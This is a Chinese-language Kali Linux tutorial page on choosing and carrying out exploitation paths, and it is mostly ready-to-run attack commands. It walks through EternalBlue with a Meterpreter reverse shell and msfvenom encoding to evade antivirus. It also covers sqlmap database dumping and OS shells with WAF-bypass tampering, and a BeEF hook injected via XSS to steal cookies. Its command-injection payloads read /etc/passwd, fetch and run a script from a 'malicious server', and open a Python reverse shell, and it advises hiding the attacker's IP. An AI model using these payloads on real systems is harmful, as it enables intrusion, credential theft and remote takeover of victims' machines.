kali linux 中文文档 下载 App

漏洞利用阶段的攻击路径选择与实施

利用前的准备

漏洞评估阶段给了你一堆 CVE 和 PoC,不是每个都能用。实际动手前检查:

  1. 目标版本是否真的存在漏洞:用 searchsploit 查的 PoC 要核对受影响版本范围
  2. 网络可达性:Nmap 确认目标端口从你的位置是 open 不是 filtered
  3. 你的攻击机 IP 是否会被记录:考虑用 VPS + SOCKS 代理链(Proxychains)
  4. 目标是否有杀软/EDR:企业环境大概率有,准备免杀 payload

Metasploit 一条龙利用

Metasploit 是漏洞利用的主力,典型工作流:

msf6 > search ms17-010
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit > set RHOSTS 192.168.1.100
msf6 exploit > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit > set LHOST <你的IP>
msf6 exploit > show options    # 确认所有必填参数
msf6 exploit > run

如果失败:

免杀 Payload:msfvenom + 编码

默认的 Meterpreter payload 在 2024 年几乎会被所有杀软标记。用 msfvenom 做基础编码:

# 简单编码(多态编码器)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=4444 \
  -e x64/xor -i 5 -f exe -o meterpreter.exe

但更有效的免杀工具不在 Kali 里(在 Veil-Evasion 等工具里),这些工具会修改 payload 的 PE 结构、导入表等让杀软的特征库匹配失败。

SQL 注入:sqlmap

# 自动检测 + 利用 POST 参数的 SQL 注入
sqlmap -u "https://example.com/product?id=1" --dbms=mysql --dump

# 特定参数
sqlmap -u "https://example.com/search" --data="q=test" -p q --dbs

# 注入成功后执行系统命令(堆查询)
sqlmap -u "https://example.com/product?id=1" --os-shell

sqlmap 功能强大,但特征也明显——生产环境的 WAF 通常能检测到 sqlmap 的指纹。需要配合 --tamper 参数使用各种 tamper 脚本绕过 WAF。

XSS → BeEF 接管浏览器

跨站脚本漏洞的利用价值在于"控制浏览器"——BeEF(Browser Exploitation Framework)就是为此设计的:

  1. 在 Kali 中启动 BeEF:beef-xss
  2. BeEF 会生成一个 Hook URL:http://你的IP:3000/hook.js
  3. 把 Hook URL 注入 XSS 漏洞(<script src="http://你的IP:3000/hook.js"></script>)
  4. 目标用户的浏览器被 hook 后,BeEF 控制台显示所有被控制的浏览器
  5. 可以远程执行命令、窃取 Cookie、发起钓鱼攻击等

命令注入:直接拿 shell

很多 Web 应用会把用户输入拼接成系统命令。用分号、管道符、反引号等注入额外命令:

; cat /etc/passwd
; whoami
; wget http://恶意服务器/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh

直接反弹 shell 比间接路径更可靠:

; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("你的IP",4444));subprocess.call(["/bin/sh","-i"])'

本地监听:nc -lvp 4444

利用成功后

拿到 shell 后第一件事不是装后门,而是:

  1. whoami / id / uname -a —— 确认权限和系统
  2. hostname —— 确认主机名
  3. ip a / ifconfig —— 确认网络接口(有没有内网 IP 可以横向移动)
  4. 把当前 shell 升级成交互式 shell:python3 -c 'import pty; pty.spawn("/bin/bash")'